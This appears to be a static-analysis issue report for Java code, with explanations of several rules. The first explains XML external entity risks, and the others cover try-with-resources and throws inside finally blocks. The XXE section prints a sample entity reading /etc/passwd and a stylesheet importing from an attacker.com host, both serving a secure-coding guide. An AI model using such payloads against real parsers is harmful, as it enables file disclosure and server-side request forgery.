Disable access to external entities in XML parsing. Open
TransformerFactory transformerFactory = TransformerFactory.newInstance();
- Read upRead up
- Exclude checks
XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs.
Example in this XML document, an external entity read the /etc/passwd file:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <to>&xxe;</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note>
In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:
<?xml version="1.0" encoding="UTF-8"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl"> <xsl:import href="http://www.attacker.com/evil.xsl"/> <xsl:include href="http://www.attacker.com/evil.xsl"/> <xsl:template match="/"> &content; </xsl:template> </xsl:stylesheet>
It is recommended to disable access to external entities and network access in general.
To protect Java XML Parsers from XXE attacks these properties have been defined since JAXP 1.5:
- ACCESS_EXTERNAL_DTD: should be set to "" when processing XML/XSD/XLS files (it looks for external DOCTYPEs)
- ACCESS_EXTERNAL_SCHEMA: should be set to "" when processing XML/XSD/XLS files (it looks for external schemalocation ect)
- ACCESS_EXTERNAL_STYLESHEET should be set to "" when processing XLS file (it looks for external imports, includes ect);
Note that Apache Xerces is still based on JAXP 1.4, therefore one solution is to set to
false
the external-general-entities feature.
Avoid FEATURE_SECURE_PROCESSING feature to protect from XXE attacks because depending on the implementation:
- it has no effect to protect the parser from XXE attacks but helps guard against excessive memory consumption from XML processing.
- or it's just an obscur shortcut (it could set ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA to "" but without guarantee).
When setting an entity
resolver to null
(eg: setEntityResolver(null)
) the parser will use its own resolution, which is unsafe.
Noncompliant Code Examples
DocumentBuilderFactory library:
String xml = "xxe.xml"; DocumentBuilderFactory df = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = df.newDocumentBuilder(); // Noncompliant Document document = builder.parse(new InputSource(xml)); DOMSource domSource = new DOMSource(document);
SAXParserFactory library:
String xml = "xxe.xml"; SaxHandler handler = new SaxHandler(); SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = factory.newSAXParser(); // Noncompliant parser.parse(xml, handler);
XMLInputFactory library:
XMLInputFactory factory = XMLInputFactory.newInstance(); // Noncompliant XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));
TransformerFactory library:
String xslt = "xxe.xsl"; String xml = "xxe.xml"; TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance(); // Noncompliant Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt)); StringWriter writer = new StringWriter(); transformer.transform(new StreamSource(xml), new StreamResult(writer)); String result = writer.toString();
SchemaFactory library:
String xsd = "xxe.xsd"; StreamSource xsdStreamSource = new StreamSource(xsd); SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); // Noncompliant Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator library:
String xsd = "xxe.xsd"; String xml = "xxe.xml"; StreamSource xsdStreamSource = new StreamSource(xsd); StreamSource xmlStreamSource = new StreamSource(xml); SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); Schema schema = schemaFactory.newSchema(xsdStreamSource); Validator validator = schema.newValidator(); // Noncompliant StringWriter writer = new StringWriter(); validator.validate(xmlStreamSource, new StreamResult(writer));
Dom4j library:
SAXReader xmlReader = new SAXReader(); // Noncompliant by default Document xmlResponse = xmlReader.read(xml);
Jdom2 library:
SAXBuilder builder = new SAXBuilder(); // Noncompliant by default Document document = builder.build(new File(xml));
Compliant Solution
DocumentBuilderFactory library:
String xml = "xxe.xml"; DocumentBuilderFactory df = DocumentBuilderFactory.newInstance(); df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant DocumentBuilder builder = df.newDocumentBuilder(); Document document = builder.parse(new InputSource(xml)); DOMSource domSource = new DOMSource(document);
SAXParserFactory library:
String xml = "xxe.xml"; SaxHandler handler = new SaxHandler(); SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = factory.newSAXParser(); parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant parser.parse(xml, handler);
XMLInputFactory library:
XMLInputFactory factory = XMLInputFactory.newInstance(); factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));
TransformerFactory library:
String xslt = "xxe.xsl"; String xml = "xxe.xml"; TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance(); transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // Compliant // ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt)); StringWriter writer = new StringWriter(); transformer.transform(new StreamSource(xml), new StreamResult(writer)); String result = writer.toString();
SchemaFactory library:
String xsd = "xxe.xsd"; StreamSource xsdStreamSource = new StreamSource(xsd); SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator library:
String xsd = "xxe.xsd"; String xml = "xxe.xml"; StreamSource xsdStreamSource = new StreamSource(xsd); StreamSource xmlStreamSource = new StreamSource(xml); SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI); Schema schema = schemaFactory.newSchema(xsdStreamSource); schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // validators will also inherit of these properties Validator validator = schema.newValidator(); validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant StringWriter writer = new StringWriter(); validator.validate(xmlStreamSource, new StreamResult(writer));
For dom4j library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fix is to disable doctype declarations:
SAXReader xmlReader = new SAXReader(); xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Compliant Document xmlResponse = xmlReader.read(xml);
Jdom2 library:
SAXBuilder builder = new SAXBuilder(); // Compliant builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant builder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant Document document = builder.build(new File(xml));
See
- OWASP Top 10 2017 Category A4 - XML External Entities (XXE)
- OWASP XXE Prevention Cheat Sheet
- MITRE, CWE-611 - Information Exposure Through XML External Entity Reference
- MITRE, CWE-827 - Improper Control of Document Type Definition
Change this "try" to a try-with-resources. (sonar.java.source not set. Assuming 7 or greater.) Open
try {
- Read upRead up
- Exclude checks
Java 7 introduced the try-with-resources statement, which guarantees that the resource in question will be closed. Since the new syntax is closer
to bullet-proof, it should be preferred over the older try
/catch
/finally
version.
This rule checks that close
-able resources are opened in a try-with-resources statement.
Note that this rule is automatically disabled when the project's sonar.java.source
is lower than 7
.
Noncompliant Code Example
FileReader fr = null; BufferedReader br = null; try { fr = new FileReader(fileName); br = new BufferedReader(fr); return br.readLine(); } catch (...) { } finally { if (br != null) { try { br.close(); } catch(IOException e){...} } if (fr != null ) { try { br.close(); } catch(IOException e){...} } }
Compliant Solution
try ( FileReader fr = new FileReader(fileName); BufferedReader br = new BufferedReader(fr) ) { return br.readLine(); } catch (...) {}
or
try (BufferedReader br = new BufferedReader(new FileReader(fileName))) { // no need to name intermediate resources if you don't want to return br.readLine(); } catch (...) {}
See
- CERT, ERR54-J. - Use a try-with-resources statement to safely handle closeable resources
Remove this throw statement from this finally block. Open
throw new ReportParseException(e);
- Read upRead up
- Exclude checks
Using return
, break
, throw
, and so on from a finally
block suppresses the propagation of any
unhandled Throwable
which was thrown in the try
or catch
block.
This rule raises an issue when a jump statement (break
, continue
, return
, throw
, and
goto
) would force control flow to leave a finally
block.
Noncompliant Code Example
public static void main(String[] args) { try { doSomethingWhichThrowsException(); System.out.println("OK"); // incorrect "OK" message is printed } catch (RuntimeException e) { System.out.println("ERROR"); // this message is not shown } } public static void doSomethingWhichThrowsException() { try { throw new RuntimeException(); } finally { for (int i = 0; i < 10; i ++) { //... if (q == i) { break; // ignored } } /* ... */ return; // Noncompliant - prevents the RuntimeException from being propagated } }
Compliant Solution
public static void main(String[] args) { try { doSomethingWhichThrowsException(); System.out.println("OK"); } catch (RuntimeException e) { System.out.println("ERROR"); // "ERROR" is printed as expected } } public static void doSomethingWhichThrowsException() { try { throw new RuntimeException(); } finally { for (int i = 0; i < 10; i ++) { //... if (q == i) { break; // ignored } } /* ... */ } }
See
- MITRE, CWE-584 - Return Inside Finally Block
- CERT, ERR04-J. - Do not complete abruptly from a finally block
Remove this throw statement from this finally block. Open
throw new ReportParseException(e);
- Read upRead up
- Exclude checks
Using return
, break
, throw
, and so on from a finally
block suppresses the propagation of any
unhandled Throwable
which was thrown in the try
or catch
block.
This rule raises an issue when a jump statement (break
, continue
, return
, throw
, and
goto
) would force control flow to leave a finally
block.
Noncompliant Code Example
public static void main(String[] args) { try { doSomethingWhichThrowsException(); System.out.println("OK"); // incorrect "OK" message is printed } catch (RuntimeException e) { System.out.println("ERROR"); // this message is not shown } } public static void doSomethingWhichThrowsException() { try { throw new RuntimeException(); } finally { for (int i = 0; i < 10; i ++) { //... if (q == i) { break; // ignored } } /* ... */ return; // Noncompliant - prevents the RuntimeException from being propagated } }
Compliant Solution
public static void main(String[] args) { try { doSomethingWhichThrowsException(); System.out.println("OK"); } catch (RuntimeException e) { System.out.println("ERROR"); // "ERROR" is printed as expected } } public static void doSomethingWhichThrowsException() { try { throw new RuntimeException(); } finally { for (int i = 0; i < 10; i ++) { //... if (q == i) { break; // ignored } } /* ... */ } }
See
- MITRE, CWE-584 - Return Inside Finally Block
- CERT, ERR04-J. - Do not complete abruptly from a finally block
Refactor this code to not throw exceptions in finally blocks. Open
throw new ReportParseException(e);
- Read upRead up
- Exclude checks
Throwing an exception from within a finally block will mask any exception which was previously thrown in the try
or catch
block, and the masked's exception message and stack trace will be lost.
Noncompliant Code Example
try { /* some work which end up throwing an exception */ throw new IllegalArgumentException(); } finally { /* clean up */ throw new RuntimeException(); // Noncompliant; masks the IllegalArgumentException }
Compliant Solution
try { /* some work which end up throwing an exception */ throw new IllegalArgumentException(); } finally { /* clean up */ }
See
- CERT, ERR05-J. - Do not let checked exceptions escape from a finally block
Refactor this code to not throw exceptions in finally blocks. Open
throw new ReportParseException(e);
- Read upRead up
- Exclude checks
Throwing an exception from within a finally block will mask any exception which was previously thrown in the try
or catch
block, and the masked's exception message and stack trace will be lost.
Noncompliant Code Example
try { /* some work which end up throwing an exception */ throw new IllegalArgumentException(); } finally { /* clean up */ throw new RuntimeException(); // Noncompliant; masks the IllegalArgumentException }
Compliant Solution
try { /* some work which end up throwing an exception */ throw new IllegalArgumentException(); } finally { /* clean up */ }
See
- CERT, ERR05-J. - Do not let checked exceptions escape from a finally block